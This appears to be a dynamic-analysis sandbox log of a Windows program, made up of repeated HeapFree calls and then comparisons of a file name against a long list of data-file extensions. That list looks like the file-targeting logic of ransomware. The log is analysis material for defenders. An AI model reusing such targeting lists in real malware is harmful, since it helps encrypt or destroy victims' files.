	[0162.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0162.819] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.187] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.207] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.208] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.208] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.208] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.210] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.210] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.211] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.211] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.222] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.226] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.226] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.227] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.228] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.229] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.229] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.229] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.241] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0163.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.244] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.421] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.551] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.552] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.552] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.554] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.555] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.555] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.555] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0163.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.573] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.579] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.583] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.586] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.587] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.589] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.591] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.591] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.591] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.803] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.803] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.804] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.804] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.805] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.807] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.808] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.808] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.809] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.809] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.809] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.811] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.811] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0163.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0163.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0163.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0163.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.961] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.961] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0163.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0163.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0163.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0163.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0163.972] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.973] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0163.973] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0163.973] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.974] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0163.980] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.980] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0164.133] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0164.146] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.149] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.151] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.154] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.157] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.159] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.162] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.167] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.170] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.173] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.396] lstrlenW (lpString="index.html") returned 10
	[0164.396] lstrlenW (lpString=".1cd") returned 4
	[0164.396] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.396] lstrlenW (lpString=".3ds") returned 4
	[0164.396] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.396] lstrlenW (lpString=".3fr") returned 4
	[0164.396] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.396] lstrlenW (lpString=".3g2") returned 4
	[0164.396] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.396] lstrlenW (lpString=".3gp") returned 4
	[0164.396] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.396] lstrlenW (lpString=".7z") returned 3
	[0164.396] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0164.396] lstrlenW (lpString=".accda") returned 6
	[0164.396] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.396] lstrlenW (lpString=".accdb") returned 6
	[0164.396] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.396] lstrlenW (lpString=".accdc") returned 6
	[0164.396] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.396] lstrlenW (lpString=".accde") returned 6
	[0164.396] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.396] lstrlenW (lpString=".accdt") returned 6
	[0164.396] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.396] lstrlenW (lpString=".accdw") returned 6
	[0164.396] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.396] lstrlenW (lpString=".adb") returned 4
	[0164.396] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.396] lstrlenW (lpString=".adp") returned 4
	[0164.396] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.396] lstrlenW (lpString=".ai") returned 3
	[0164.396] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.397] lstrlenW (lpString=".ai3") returned 4
	[0164.397] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".ai4") returned 4
	[0164.397] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".ai5") returned 4
	[0164.397] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".ai6") returned 4
	[0164.397] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".ai7") returned 4
	[0164.397] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".ai8") returned 4
	[0164.397] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".anim") returned 5
	[0164.397] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.397] lstrlenW (lpString=".arw") returned 4
	[0164.397] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".as") returned 3
	[0164.397] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.397] lstrlenW (lpString=".asa") returned 4
	[0164.397] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".asc") returned 4
	[0164.397] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".ascx") returned 5
	[0164.397] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.397] lstrlenW (lpString=".asm") returned 4
	[0164.397] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".asmx") returned 5
	[0164.397] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.397] lstrlenW (lpString=".asp") returned 4
	[0164.397] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".aspx") returned 5
	[0164.397] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.397] lstrlenW (lpString=".asr") returned 4
	[0164.397] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.397] lstrlenW (lpString=".asx") returned 4
	[0164.398] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".avi") returned 4
	[0164.398] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".avs") returned 4
	[0164.398] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".backup") returned 7
	[0164.398] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.398] lstrlenW (lpString=".bak") returned 4
	[0164.398] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".bay") returned 4
	[0164.398] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".bd") returned 3
	[0164.398] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.398] lstrlenW (lpString=".bin") returned 4
	[0164.398] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".bmp") returned 4
	[0164.398] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".bz2") returned 4
	[0164.398] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".c") returned 2
	[0164.398] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.398] lstrlenW (lpString=".cdr") returned 4
	[0164.398] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".cer") returned 4
	[0164.398] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".cf") returned 3
	[0164.398] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.398] lstrlenW (lpString=".cfc") returned 4
	[0164.398] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".cfm") returned 4
	[0164.398] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".cfml") returned 5
	[0164.398] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.398] lstrlenW (lpString=".cfu") returned 4
	[0164.398] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.398] lstrlenW (lpString=".chm") returned 4
	[0164.399] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".cin") returned 4
	[0164.399] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".class") returned 6
	[0164.399] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.399] lstrlenW (lpString=".clx") returned 4
	[0164.399] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".config") returned 7
	[0164.399] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.399] lstrlenW (lpString=".cpp") returned 4
	[0164.399] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".cr2") returned 4
	[0164.399] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".crt") returned 4
	[0164.399] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".crw") returned 4
	[0164.399] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".cs") returned 3
	[0164.399] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.399] lstrlenW (lpString=".css") returned 4
	[0164.399] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".csv") returned 4
	[0164.399] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".cub") returned 4
	[0164.399] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".dae") returned 4
	[0164.399] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".dat") returned 4
	[0164.399] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".db") returned 3
	[0164.399] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.399] lstrlenW (lpString=".dbf") returned 4
	[0164.399] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.399] lstrlenW (lpString=".dbx") returned 4
	[0164.399] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dc3") returned 4
	[0164.400] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dcm") returned 4
	[0164.400] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dcr") returned 4
	[0164.400] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".der") returned 4
	[0164.400] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dib") returned 4
	[0164.400] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dic") returned 4
	[0164.400] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dif") returned 4
	[0164.400] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
